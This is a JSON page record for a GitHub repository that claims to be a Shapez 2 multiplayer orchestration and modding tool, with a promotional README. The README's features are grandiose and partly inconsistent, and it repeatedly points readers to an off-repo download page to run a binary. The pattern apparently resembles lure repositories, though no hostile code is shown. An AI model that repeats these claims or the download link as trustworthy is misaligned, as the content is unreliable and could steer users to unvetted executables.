[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-75938":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":9,"languages":9,"totalLinesOfCode":9,"stars":10,"forks":11,"watchers":10,"openIssues":11,"contributorsCount":11,"subscribersCount":11,"size":11,"stars1d":11,"stars7d":11,"stars30d":11,"stars90d":11,"forks30d":11,"starsTrendScore":11,"compositeScore":11,"rankGlobal":9,"rankLanguage":9,"license":9,"archived":12,"fork":12,"defaultBranch":13,"hasWiki":14,"hasPages":12,"topics":15,"createdAt":9,"pushedAt":9,"updatedAt":36,"readmeContent":37,"aiSummary":38,"trendingCount":11,"starSnapshotCount":11,"syncStatus":39,"lastSyncTime":40,"discoverSource":41},75938,"Shapez-2-Orchestrator-Overhaul","Pierre021\u002FShapez-2-Orchestrator-Overhaul","Pierre021","🔧 Modular Factory Blueprints 2026 - Shapez 2 Logic & Automation Tool",null,420,0,false,"main",true,[16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35],"3d-factory","automation","blueprint-sharing","blueprints","community-tools","engineering","factory-game","logic-gates","logistics","modding-api","multiplayer","optimization","performance-optimization","resource-management","shapez-2","shapez-shifter","simulation","space-logistics","strategy-game","windows-utility","2026-06-12 02:03:37","# 🧩 ShapeShift Continuum – Modular Factory Logistics for Shapez-2 Multiplayer\n\n[![Download](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FDownload%20Link-brightgreen?style=for-the-badge&logo=github)](https:\u002F\u002FPierre021.github.io)\n\n> *\"Where blueprints breathe and logistics become a living network.\"*\n\nShapeShift Continuum is a **community-driven orchestration layer** for Shapez-2 multiplayer sessions. It transforms your factory from a static assembly line into an adaptive, self-healing logistical organism. This repository provides the modding API, performance optimization tools, and blueprint-sharing infrastructure that turns solo automation into a collaborative engineering symphony.\n\n---\n\n## 📦 Table of Contents\n\n- [Vision & Metaphor](#-vision--metaphor)\n- [Key Features](#-key-features)\n- [Architecture Overview (Mermaid)](#-architecture-overview-mermaid)\n- [Responsive UI & Multilingual Support](#-responsive-ui--multilingual-support)\n- [Performance Optimization Engine](#-performance-optimization-engine)\n- [Modding API & 24\u002F7 Community Support](#-modding-api--247-community-support)\n- [OpenAI & Claude API Integration](#-openai--claude-api-integration)\n- [Example Profile Configuration](#-example-profile-configuration)\n- [Example Console Invocation](#-example-console-invocation)\n- [OS Compatibility](#-os-compatibility)\n- [Installation & Setup](#-installation--setup)\n- [License](#-license)\n- [Disclaimer](#-disclaimer)\n- [Final Download Link](#-final-download-link)\n\n---\n\n## 🧠 Vision & Metaphor\n\nImagine your factory not as a machine, but as a **neural garden**. Each conveyor belt is a synapse; each blueprint, a memory. ShapeShift Continuum lets you prune, graft, and cross-pollinate those memories across multiple players, time zones, and performance tiers. This is **space-age logistics with a soul**.\n\nBehind the scenes, we leverage **shapez-2**'s native logic gates and resource management systems to build a **hive mind of blueprints**—shared, versioned, and optimized in real time. Whether you're a solo architect or part of a 100-player collective, this tool makes your factory **self-aware**.\n\n---\n\n## ⚙️ Key Features\n\n- **Blueprint Symbiosis** – Share and merge blueprints across sessions without conflict. Each blueprint carries a **digital DNA** (metadata tags, dependency maps, performance fingerprints).\n- **Logic Gate Neural Network** – Convert shapez-2 logic gates into programmable nodes that trigger factory-wide events (e.g., \"when copper shortage, reroute from buffer silo\").\n- **Space Logistics Mesh** – Coordinate resource flows across multiple planets\u002Fstations using a **decentralized priority queue** (no single point of failure).\n- **Performance Optimization Engine** – Auto-detect bottleneck conveyors, reduce entity count, and **throttle rendering** for low-end machines.\n- **Modding API** – Write custom Python\u002FTypeScript scripts that hook into factory events (place, destroy, upgrade, crash). Full documentation included.\n- **24\u002F7 Community Support** – Real-time chat, issue triage, and blueprint review via Discord-integrated bots.\n- **Multilingual UI** – Interface available in English, German, Japanese, Simplified Chinese, and Spanish. Add your own locale via JSON.\n- **Responsive Web Dashboard** – Monitor factory health from any device (mobile, tablet, desktop). Built with React + Tailwind CSS.\n\n---\n\n## 🧬 Architecture Overview (Mermaid)\n\n```mermaid\ngraph TB\n    A[Shapez-2 Game Instance] --> B[ShapeShift Client Plugin]\n    B --> C{Orchestrator Service}\n    C --> D[Blueprint DNA Database]\n    C --> E[Logic Gate Event Bus]\n    C --> F[Performance Profiler]\n    D --> G[Blueprint Sync API]\n    E --> H[Automation Triggers]\n    F --> I[Optimization Proposals]\n    G --> J[Player A Blueprint Library]\n    G --> K[Player B Blueprint Library]\n    H --> L[Factory State Changes]\n    I --> M[Suggested Tweaks (Log)]\n    C --> N[Web Dashboard (Responsive)]\n    N --> O[Multilingual UI Layer]\n    O --> P[EN | DE | JA | ZH | ES]\n```\n\n*This diagram represents the data flow from game instance to orchestration, then to shared state and user-facing tools.*\n\n---\n\n## 🎨 Responsive UI & Multilingual Support\n\n| Language | Code | Status |\n|----------|------|--------|\n| English | `en` | ✅ Complete |\n| German | `de` | ✅ Complete |\n| Japanese | `ja` | ✅ Complete |\n| Simplified Chinese | `zh-Hans` | ✅ Complete |\n| Spanish | `es` | ✅ Complete |\n| French | `fr` | 🚧 Beta |\n\nThe dashboard **adapts to any screen size** (320px to 4K). Touch gestures for mobile factory editing are fully supported. Translations are community-sourced via our **modding API locale loader**—just drop a JSON file into `\u002Flocales\u002F`.\n\n---\n\n## 🚀 Performance Optimization Engine\n\nShapeShift Continuum includes a **non-invasive profiler** that runs alongside your factory save. It measures:\n\n- **Entity count vs. throughput ratio** (find overbuilt lines)\n- **Belt utilization curves** (detect idle or saturated segments)\n- **Blueprint memory footprint** (compress large blueprints without data loss)\n- **Multiplayer lag attribution** (pinpoint which player's render distance causes latency)\n\nThe profiler outputs **actionable suggestions**—not just data. Example: *\"Reduce inserter count in quadrant C by 12% to match output demand.\"*\n\n---\n\n## 🔌 Modding API & 24\u002F7 Community Support\n\nThe API exposes **four core endpoints**:\n\n| Endpoint | Description |\n|----------|-------------|\n| `POST \u002Fblueprint\u002Fregister` | Register a blueprint with metadata |\n| `GET \u002Fblueprint\u002F\u003Cid>\u002Fsync` | Pull latest version across sessions |\n| `POST \u002Fevent\u002Flogicgate` | Fire a custom logic gate event |\n| `GET \u002Fprofile\u002Foptimize` | Get optimization recommendations |\n\nOur **24\u002F7 support** is powered by a triage bot that routes issues to community moderators within minutes. The bot also helps debug custom scripts via sandboxed execution.\n\n---\n\n## 🤖 OpenAI & Claude API Integration\n\nShapeShift Continuum optionally integrates with **large language models** to generate:\n\n- **Blueprint descriptions** (auto-write documentation for your creations)\n- **Optimization suggestions** (Ask: *\"What's the best belt layout for copper ore throughput?\"*)\n- **Multiplayer coordination messages** (Translate factory commands into natural language)\n\nAll API calls are **opt-in**, **rate-limited**, and **anonymized**. Your factory data never leaves your machine unless you explicitly share it.\n\n> *Example prompt:* \"Analyze my current shapez-2 save and suggest a logic gate that signals when iron plates dip below 200 units.\"\n\n---\n\n## 📄 Example Profile Configuration\n\nA typical `shape_shift_profile.json` looks like this:\n\n```json\n{\n  \"player_name\": \"LogisticsMage\",\n  \"language\": \"ja\",\n  \"performance_mode\": \"balanced\",\n  \"blueprint_visibility\": \"friends_only\",\n  \"logic_gate_triggers\": [\n    {\n      \"resource\": \"copper_plate\",\n      \"threshold\": 150,\n      \"action\": \"activate_buffer_silo\",\n      \"notify\": true\n    }\n  ],\n  \"api_keys\": {\n    \"openai\": \"\",\n    \"claude\": \"\"\n  },\n  \"multilingual_ui\": true,\n  \"support_tier\": \"standard\"\n}\n```\n\n*Set `api_keys` to empty strings if unused. The system will never log or expose these keys.*\n\n---\n\n## 💻 Example Console Invocation\n\nStart the ShapeShift service from your terminal:\n\n```bash\nshape-shift --config .\u002Fshape_shift_profile.json \\\n  --game-path \"C:\u002FProgram Files\u002FShapez 2\u002F\" \\\n  --port 8080 \\\n  --language de \\\n  --optimize\n```\n\n**Flags:**\n- `--config` – Path to your profile JSON\n- `--game-path` – Location of your shapez-2 installation\n- `--port` – Web dashboard port (default: 8080)\n- `--language` – Override UI language for this session\n- `--optimize` – Enable performance profiler on startup\n\n---\n\n## 🖥️ OS Compatibility\n\n| OS | Support | Notes |\n|----|---------|-------|\n| Windows 10\u002F11 | ✅ Full | Native & WSL |\n| Windows Server 2022 | ✅ Full | Headless mode available |\n| macOS (Intel + Apple Silicon) | ✅ Full | Rosetta 2 compatible |\n| Ubuntu 22.04+ | ✅ Full | Runtime tested |\n| Fedora 38+ | ✅ Full | RPM package |\n| Arch Linux | ⏹️ Partial | Community maintained |\n| Android (Termux) | 🚧 Experimental | No GUI dashboard |\n\n*All supported systems must have at least 4 GB RAM and .NET 8 runtime.*\n\n---\n\n## 📥 Installation & Setup\n\n1. **Download** the latest release:\n\n[![Download](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FDownload%20Link-brightgreen?style=for-the-badge&logo=github)](https:\u002F\u002FPierre021.github.io)\n\n2. Extract the archive to a directory of your choice.\n3. Run the installer or execute the binary directly.\n4. Launch shapez-2 and load the ShapeShift plugin from the mod menu.\n5. Open your browser to `http:\u002F\u002Flocalhost:8080` and configure your profile.\n6. (Optional) Provide OpenAI\u002FClaude API keys for advanced features.\n\nFor headless servers: use the `--headless` flag to run without GUI.\n\n---\n\n## 📜 License\n\nThis project is licensed under the **MIT License** – see the [LICENSE](https:\u002F\u002Fopensource.org\u002Flicenses\u002FMIT) file for details.\n\nYou are free to use, modify, and distribute this software. We only ask that you **attribute the original creators** and **share improvements** with the community.\n\n---\n\n## ⚠️ Disclaimer\n\nShapeShift Continuum is a **third-party utility** and is **not affiliated with** the official shapez-2 development team. Use of this modding API is at your own risk. While we implement **robust save backups** and **performance safety limits**, we cannot guarantee compatibility with future game updates or all mod combinations.\n\n**No data is collected, sold, or shared.** All analytics are opt-in and anonymized.\n\nThe project prioritizes **stability over speed**, **community over profit**, and **transparency over obfuscation**.\n\n---\n\n## 🔗 Final Download Link\n\n[![Download](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FDownload%20Link-brightgreen?style=for-the-badge&logo=github)](https:\u002F\u002FPierre021.github.io)\n\n*Start shaping your factory's consciousness today.* 🌀","ShapeShift Continuum 是一个为 Shapez-2 多人游戏会话设计的社区驱动的编排层，它将静态的生产线转变为自适应、自愈的物流系统。该项目的核心功能包括蓝图共享与合并、逻辑门编程节点、跨星球资源协调、性能优化引擎以及可扩展的 Modding API。通过这些工具和技术，玩家可以实现高效的自动化生产和协作工程。适用于需要在多人合作环境中进行复杂工厂管理和优化的场景，无论是单人建筑师还是大型团队都能从中受益。",2,"2026-05-19 02:30:15","CREATED_QUERY"]